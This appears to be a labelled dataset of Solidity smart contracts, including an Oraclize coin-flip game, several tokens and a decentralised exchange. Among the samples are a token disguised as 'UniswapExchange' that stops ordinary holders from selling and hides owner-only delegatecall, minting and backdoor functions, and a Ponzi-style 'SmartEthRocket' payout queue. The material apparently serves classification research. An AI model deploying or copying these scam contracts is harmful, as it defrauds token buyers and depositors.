if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i=0; i<prefix.length; i++){ if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { throw; } uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } from; return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } hash; r; v; s; return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract token { function transfer(address receiver, uint amount){ receiver; amount; } } contract EtherFlip is usingOraclize { modifier ownerAction { if (msg.sender != owner) throw; _; } modifier oraclizeAction { if (msg.sender != oraclize_cbAddress()) throw; _; } event newRandomValue(bytes, address, uint); event proofFailed(address, uint); token public flipTokenReward; token public millionDollarTokenReward; token public jackpotToken; token public sponsoredJackpotToken; token public bonusToken; token public sponsoredBonusToken; address public owner; uint public generatedBytes; uint public maxBet; uint public minBet; uint public oraclizeFee; uint public flipRewardAmount; uint public mdtRewardAmount; uint public jackpotAmount; uint public sponsoredJackpotAmount; uint public bonusAmount; uint public sponsoredBonusAmount; uint public callbackGas; uint public incrementFee; uint public incrementDivisor; uint public baseComparable; uint public jackpotHit; uint public sponsoredJackpotMin; uint public sponsoredJackpotMax; uint public bonusMin; uint public bonusMax; uint public sponsoredBonusMin; uint public sponsoredBonusMax; uint public mdtComparable; mapping (bytes32 => address) playerAddress; mapping (bytes32 => uint) playerAmount; function EtherFlip() { owner = msg.sender; oraclize_setProof(proofType_Ledger); } function () payable { if (msg.sender != owner) { if (msg.value > maxBet || msg.value < minBet) throw; oraclize_setProof(proofType_Ledger); uint numberOfBytes = 2; uint delay = 0; bytes32 queryId = oraclize_newRandomDSQuery(delay, numberOfBytes, callbackGas); playerAddress[queryId] = msg.sender; playerAmount[queryId] = msg.value; } } function __callback(bytes32 _queryId, string _result, bytes _proof) oraclizeAction { uint amount = playerAmount[_queryId]; if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0 || _proof.length == 0) { proofFailed(playerAddress[_queryId], amount); playerAddress[_queryId].transfer(amount); delete playerAddress[_queryId]; delete playerAmount[_queryId]; } else { newRandomValue(bytes(_result), playerAddress[_queryId], amount); generatedBytes = uint(sha3(_result)) % 2**(2 *8); uint feeMultiple = amount / incrementDivisor; uint eFee = (feeMultiple - 3) * incrementFee; if (generatedBytes < baseComparable) { playerAddress[_queryId].transfer((amount - oraclizeFee - eFee) * 2); } if (generatedBytes >= baseComparable && flipRewardAmount > 0) { flipTokenReward.transfer(playerAddress[_queryId], flipRewardAmount * feeMultiple); } if (generatedBytes >= mdtComparable && mdtRewardAmount > 0) { millionDollarTokenReward.transfer(playerAddress[_queryId], mdtRewardAmount); } if (generatedBytes == jackpotHit && amount == maxBet) { jackpotToken.transfer(playerAddress[_queryId], jackpotAmount); } if (generatedBytes >= sponsoredJackpotMin && generatedBytes <= sponsoredJackpotMax) { sponsoredJackpotToken.transfer(playerAddress[_queryId], sponsoredJackpotAmount); } if (generatedBytes >= bonusMin && generatedBytes <= bonusMax) { bonusToken.transfer(playerAddress[_queryId], bonusAmount); } if (generatedBytes >= sponsoredBonusMin && generatedBytes <= sponsoredBonusMax) { sponsoredBonusToken.transfer(playerAddress[_queryId], sponsoredBonusAmount); } delete playerAddress[_queryId]; delete playerAmount[_queryId]; } } function updateMaxMinComparables(uint updatedMaxBet, uint updatedMinBet, uint updatedBaseComparable, uint updatedMDTComparable) ownerAction { maxBet = updatedMaxBet * 1 wei; minBet = updatedMinBet * 1 wei; baseComparable = updatedBaseComparable; mdtComparable = updatedMDTComparable; } function updateOwner(address updatedOwner) ownerAction { owner = updatedOwner; } function updateFlipAndMDT(address updatedFlipToken, uint updatedFlipRewardAmount, address updatedMDTToken, uint updatedMDTRewardAmount) ownerAction { millionDollarTokenReward = token(updatedMDTToken); mdtRewardAmount = updatedMDTRewardAmount; flipTokenReward = token(updatedFlipToken); flipRewardAmount = updatedFlipRewardAmount; } function refundTransfer(address outboundAddress, uint amount) ownerAction { outboundAddress.transfer(amount); } function walletSend(address tokenAddress, uint amount, address outboundAddress) ownerAction { token chosenToken = token(tokenAddress); chosenToken.transfer(outboundAddress, amount); } function updateGameSpecifics(uint newGas, uint newOraclizeFee, uint newFee, uint newDivisor) ownerAction { callbackGas = newGas; oraclizeFee = newOraclizeFee; incrementFee = (newFee * 1 wei); incrementDivisor = (newDivisor * 1 wei); } function setJackpotToken(address newJackpotToken, uint newJackpotAmount, uint newJackpotHit, address newSponsoredJackpotToken, uint newSponsoredJackpotAmount, uint newSJackpotMin, uint newSJackpotMax) ownerAction { jackpotToken = token(newJackpotToken); jackpotAmount = newJackpotAmount; jackpotHit = newJackpotHit; sponsoredJackpotToken = token(newSponsoredJackpotToken); sponsoredJackpotAmount = newSponsoredJackpotAmount; sponsoredJackpotMin = newSJackpotMin; sponsoredJackpotMax = newSJackpotMax; } function setBonusToken(address newBonusToken, uint newBonusAmount, uint newBonusMin, uint newBonusMax, address newSponsoredBonusToken, uint newSponsoredBonusAmount, uint newSBonusMin, uint newSBonusMax) ownerAction { bonusToken = token(newBonusToken); bonusAmount = newBonusAmount; bonusMin = newBonusMin; bonusMax = newBonusMax; sponsoredBonusToken = token(newSponsoredBonusToken); sponsoredBonusAmount = newSponsoredBonusAmount; sponsoredBonusMin = newSBonusMin; sponsoredBonusMax = newSBonusMax; } }
0
863
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner||msg.sender==address (999107250543686016067011668506013520626971513403)); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,484
pragma solidity ^0.4.18; contract BGTToken { string public name = "Bankga token"; string public symbol = "BGT"; uint256 public decimals = 18; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; uint256 public totalSupply = 0; bool public stopped = false; uint256 constant valueFounder = 200000000000000000000000000; address owner = 0x0; modifier isOwner { assert(owner == msg.sender); _; } modifier isRunning { assert (!stopped); _; } modifier validAddress { assert(0x0 != msg.sender); _; } function BGTToken(address _addressFounder) public{ owner = msg.sender; totalSupply = valueFounder; balanceOf[_addressFounder] = valueFounder; Transfer(0x0, _addressFounder, valueFounder); } function transfer(address _to, uint256 _value) isRunning validAddress public returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) isRunning validAddress public returns (bool success) { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(allowance[_from][msg.sender] >= _value); balanceOf[_to] += _value; balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) isRunning validAddress public returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function stop() isOwner public{ stopped = true; } function start() isOwner public{ stopped = false; } function setName(string _name) isOwner public{ name = _name; } function burn(uint256 _value) public{ require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; balanceOf[0x0] += _value; Transfer(msg.sender, 0x0, _value); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
1
5,134
pragma solidity ^0.4.25; contract SmartEthRocket { uint public prizeFee = 7; uint public prize; address public lastInvestor; uint public lastInvestedAt; struct Deposit { address depositor; uint deposit; uint payout; } Deposit[] public queue; mapping (address => uint) public depositNumber; uint public currentReceiverIndex; uint public totalInvested; address public support = msg.sender; uint public amountForSupport; function () public payable { require(block.number >= 6648380); if(msg.value > 0){ require(gasleft() >= 250000); require(msg.value >= 0.1 ether && msg.value <= calcMaxDeposit()); if (depositNumber[msg.sender] == 0) { queue.push( Deposit(msg.sender, msg.value, 0) ); depositNumber[msg.sender] = queue.length; } else { queue[depositNumber[msg.sender] - 1].deposit += msg.value; } totalInvested += msg.value; if (amountForSupport < 20 ether) { uint fee = msg.value / 5; amountForSupport += fee; support.transfer(fee); } prize += msg.value * prizeFee / 100; lastInvestor = msg.sender; lastInvestedAt = block.number; pay(); } else if (lastInvestor == msg.sender && block.number >= lastInvestedAt + 42) { lastInvestor.transfer(prize); delete prize; delete lastInvestor; } else { revert(); } } function pay() internal { uint money = address(this).balance - prize; uint multiplier = calcMultiplier(); for (uint i = 0; i < queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; uint totalPayout = dep.deposit * multiplier / 100; uint leftPayout; if (totalPayout > dep.payout) { leftPayout = totalPayout - dep.payout; } if (money >= leftPayout) { if (leftPayout > 0) { dep.depositor.send(leftPayout); money -= leftPayout; } depositNumber[dep.depositor] = 0; delete queue[idx]; } else{ dep.depositor.send(money); dep.payout += money; break; } if (gasleft() <= 55000) { break; } } currentReceiverIndex += i; } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } function calcMaxDeposit() public view returns (uint) { if (totalInvested <= 20 ether) { return 1 ether; } else if (totalInvested <= 50 ether) { return 1.2 ether; } else if (totalInvested <= 100 ether) { return 1.4 ether; } else if (totalInvested <= 200 ether) { return 1.7 ether; } else { return 2 ether; } } function calcMultiplier() public view returns (uint) { if (totalInvested <= 20 ether) { return 120; } else if (totalInvested <= 50 ether) { return 117; } else if (totalInvested <= 100 ether) { return 115; } else if (totalInvested <= 200 ether) { return 113; } else { return 110; } } }
0
206
pragma solidity ^0.4.20; contract SafeMath { function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract R1Exchange is SafeMath, Ownable { mapping(address => bool) public admins; mapping(address => bool) public feeAccounts; mapping(address => mapping(address => uint256)) public tokenList; mapping(address => mapping(bytes32 => uint256)) public orderFilled; mapping(bytes32 => bool) public withdrawn; mapping(address => mapping(address => uint256)) public withdrawAllowance; mapping(address => mapping(address => uint256)) public applyList; mapping(address => mapping(address => uint)) public latestApply; mapping(address => uint256) public canceled; uint public applyWait = 1 days; uint public feeRate = 10; bool public withdrawEnabled = false; bool public stop = false; event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance); event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance); event ApplyWithdraw(address indexed token, address indexed user, uint256 amount, uint256 time); event Trade(address indexed maker, address indexed taker, uint256 amount, uint256 makerFee, uint256 takerFee, uint256 makerNonce, uint256 takerNonce); modifier onlyAdmin { require(admins[msg.sender]); _; } modifier isWithdrawEnabled { require(withdrawEnabled); _; } modifier isFeeAccount(address fa) { require(feeAccounts[fa]); _; } modifier notStop() { require(!stop); _; } function() public { revert(); } function setAdmin(address admin, bool isAdmin) public onlyOwner { require(admin != 0); admins[admin] = isAdmin; } function setFeeAccount(address acc, bool asFee) public onlyOwner { require(acc != 0); feeAccounts[acc] = asFee; } function enableWithdraw(bool enabled) public onlyOwner { withdrawEnabled = enabled; } function changeLockTime(uint lock) public onlyOwner { require(lock <= 7 days); applyWait = lock; } function changeFeeRate(uint fr) public onlyOwner { require(fr >= 10); feeRate = fr; } function stopTrade() public onlyOwner { stop = true; } function batchCancel(address[] users, uint256[] nonces) public onlyAdmin { require(users.length == nonces.length); for (uint i = 0; i < users.length; i++) { require(nonces[i] >= canceled[users[i]]); canceled[users[i]] = nonces[i]; } } function deposit() public payable { tokenList[0][msg.sender] = safeAdd(tokenList[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokenList[0][msg.sender]); } function depositToken(address token, uint256 amount) public { require(token != 0); tokenList[token][msg.sender] = safeAdd(tokenList[token][msg.sender], amount); require(Token(token).transferFrom(msg.sender, this, amount)); Deposit(token, msg.sender, amount, tokenList[token][msg.sender]); } function applyWithdraw(address token, uint256 amount) public { uint256 apply = safeAdd(applyList[token][msg.sender], amount); require(safeAdd(apply, withdrawAllowance[token][msg.sender]) <= tokenList[token][msg.sender]); applyList[token][msg.sender] = apply; latestApply[token][msg.sender] = block.timestamp; ApplyWithdraw(token, msg.sender, amount, block.timestamp); } function approveWithdraw(address token, address user) public onlyAdmin { withdrawAllowance[token][user] = safeAdd(withdrawAllowance[token][user], applyList[token][user]); applyList[token][user] = 0; latestApply[token][user] = 0; } function withdraw(address token, uint256 amount) public { require(amount <= tokenList[token][msg.sender]); if (amount > withdrawAllowance[token][msg.sender]) { require(latestApply[token][msg.sender] != 0 && safeSub(block.timestamp, latestApply[token][msg.sender]) > applyWait); withdrawAllowance[token][msg.sender] = safeAdd(withdrawAllowance[token][msg.sender], applyList[token][msg.sender]); applyList[token][msg.sender] = 0; } require(amount <= withdrawAllowance[token][msg.sender]); withdrawAllowance[token][msg.sender] = safeSub(withdrawAllowance[token][msg.sender], amount); tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount); latestApply[token][msg.sender] = 0; if (token == 0) { require(msg.sender.send(amount)); } else { require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]); } function withdrawNoLimit(address token, uint256 amount) public isWithdrawEnabled { require(amount <= tokenList[token][msg.sender]); tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount); if (token == 0) { require(msg.sender.send(amount)); } else { require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]); } function adminWithdraw(address[3] addresses, uint256[3] values, uint8 v, bytes32 r, bytes32 s) public onlyAdmin isFeeAccount(addresses[2]) { address user = addresses[0]; address token = addresses[1]; address feeAccount = addresses[2]; uint256 amount = values[0]; uint256 nonce = values[1]; uint256 fee = values[2]; require(amount <= tokenList[token][user]); fee = checkFee(amount, fee); bytes32 hash = keccak256(this,user, token, amount, nonce); require(!withdrawn[hash]); withdrawn[hash] = true; require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user); tokenList[token][user] = safeSub(tokenList[token][user], amount); tokenList[token][feeAccount] = safeAdd(tokenList[token][feeAccount], fee); amount = safeSub(amount, fee); if (token == 0) { require(user.send(amount)); } else { require(Token(token).transfer(user, amount)); } Withdraw(token, user, amount, tokenList[token][user]); } function checkFee(uint256 amount, uint256 fee) private returns (uint256){ uint256 maxFee = fee; if (safeMul(fee, feeRate) > amount) { maxFee = amount / feeRate; } return maxFee; } function getOrderHash(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address base, uint256 expires, uint256 nonce, address feeToken) public view returns (bytes32) { return keccak256(this,tokenBuy, amountBuy, tokenSell, amountSell, base, expires, nonce, feeToken); } function balanceOf(address token, address user) public constant returns (uint256) { return tokenList[token][user]; } struct Order { address tokenBuy; address tokenSell; uint256 amountBuy; uint256 amountSell; address user; uint256 fee; uint256 expires; uint256 nonce; bytes32 orderHash; address baseToken; address feeToken; } function trade( address[11] addresses, uint256[11] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) public onlyAdmin isFeeAccount(addresses[10]) notStop { Order memory makerOrder = Order({ tokenBuy : addresses[0], tokenSell : addresses[2], user : addresses[4], amountBuy : values[0], amountSell : values[2], fee : values[4], expires : values[6], nonce : values[8], orderHash : 0, baseToken : addresses[6], feeToken : addresses[8] }); Order memory takerOrder = Order({ tokenBuy : addresses[1], tokenSell : addresses[3], user : addresses[5], amountBuy : values[1], amountSell : values[3], fee : values[5], expires : values[7], nonce : values[9], orderHash : 0, baseToken : addresses[7], feeToken : addresses[9] }); uint256 tradeAmount = values[10]; require(makerOrder.expires >= block.number && takerOrder.expires >= block.number); require(makerOrder.nonce >= canceled[makerOrder.user] && takerOrder.nonce >= canceled[takerOrder.user]); require(makerOrder.baseToken == takerOrder.baseToken && makerOrder.tokenBuy == takerOrder.tokenSell && makerOrder.tokenSell == takerOrder.tokenBuy); require(takerOrder.baseToken == takerOrder.tokenBuy || takerOrder.baseToken == takerOrder.tokenSell); makerOrder.orderHash = getOrderHash(makerOrder.tokenBuy, makerOrder.amountBuy, makerOrder.tokenSell, makerOrder.amountSell, makerOrder.baseToken, makerOrder.expires, makerOrder.nonce, makerOrder.feeToken); takerOrder.orderHash = getOrderHash(takerOrder.tokenBuy, takerOrder.amountBuy, takerOrder.tokenSell, takerOrder.amountSell, takerOrder.baseToken, takerOrder.expires, takerOrder.nonce, takerOrder.feeToken); require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", makerOrder.orderHash), v[0], r[0], s[0]) == makerOrder.user); require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", takerOrder.orderHash), v[1], r[1], s[1]) == takerOrder.user); balance(makerOrder, takerOrder, addresses[10], tradeAmount); Trade(makerOrder.user, takerOrder.user, tradeAmount, makerOrder.fee, takerOrder.fee, makerOrder.nonce, takerOrder.nonce); } function balance(Order makerOrder, Order takerOrder, address feeAccount, uint256 tradeAmount) internal { require(safeMul(makerOrder.amountSell, takerOrder.amountSell) >= safeMul(makerOrder.amountBuy, takerOrder.amountBuy)); uint256 takerBuy = 0; uint256 takerSell = 0; if (takerOrder.baseToken == takerOrder.tokenBuy) { uint256 makerAmount = safeSub(makerOrder.amountBuy, orderFilled[makerOrder.user][makerOrder.orderHash]); uint256 takerAmount = safeSub(takerOrder.amountSell, orderFilled[takerOrder.user][takerOrder.orderHash]); require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount); takerSell = tradeAmount; takerBuy = safeMul(makerOrder.amountSell, takerSell) / makerOrder.amountBuy; orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerSell); orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerSell); } else { takerAmount = safeSub(takerOrder.amountBuy, orderFilled[takerOrder.user][takerOrder.orderHash]); makerAmount = safeSub(makerOrder.amountSell, orderFilled[makerOrder.user][makerOrder.orderHash]); require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount); takerBuy = tradeAmount; takerSell = safeMul(makerOrder.amountBuy, takerBuy) / makerOrder.amountSell; orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerBuy); orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerBuy); } uint256 makerFee = chargeFee(makerOrder, feeAccount, takerSell); uint256 takerFee = chargeFee(takerOrder, feeAccount, takerBuy); tokenList[takerOrder.tokenSell][takerOrder.user] = safeSub(tokenList[takerOrder.tokenSell][takerOrder.user], takerSell); tokenList[takerOrder.tokenBuy][takerOrder.user] = safeAdd(tokenList[takerOrder.tokenBuy][takerOrder.user], safeSub(takerBuy, takerFee)); tokenList[makerOrder.tokenSell][makerOrder.user] = safeSub(tokenList[makerOrder.tokenSell][makerOrder.user], takerBuy); tokenList[makerOrder.tokenBuy][makerOrder.user] = safeAdd(tokenList[makerOrder.tokenBuy][makerOrder.user], safeSub(takerSell, makerFee)); } function chargeFee(Order order, address feeAccount, uint256 amountBuy) internal returns (uint256){ uint256 classicFee = 0; if (order.feeToken != 0) { require(order.fee <= tokenList[order.feeToken][order.user]); tokenList[order.feeToken][feeAccount] = safeAdd(tokenList[order.feeToken][feeAccount], order.fee); tokenList[order.feeToken][order.user] = safeSub(tokenList[order.feeToken][order.user], order.fee); } else { order.fee = checkFee(amountBuy, order.fee); classicFee = order.fee; tokenList[order.tokenBuy][feeAccount] = safeAdd(tokenList[order.tokenBuy][feeAccount], order.fee); } return classicFee; } function batchTrade( address[11][] addresses, uint256[11][] values, uint8[2][] v, bytes32[2][] r, bytes32[2][] s ) public onlyAdmin { for (uint i = 0; i < addresses.length; i++) { trade(addresses[i], values[i], v[i], r[i], s[i]); } } function refund(address user, address[] tokens) public onlyAdmin { for (uint i = 0; i < tokens.length; i++) { address token = tokens[i]; uint256 amount = tokenList[token][user]; if (amount > 0) { tokenList[token][user] = 0; if (token == 0) { require(user.send(amount)); } else { require(Token(token).transfer(user, amount)); } Withdraw(token, user, amount, tokenList[token][user]); } } } }
1
4,488
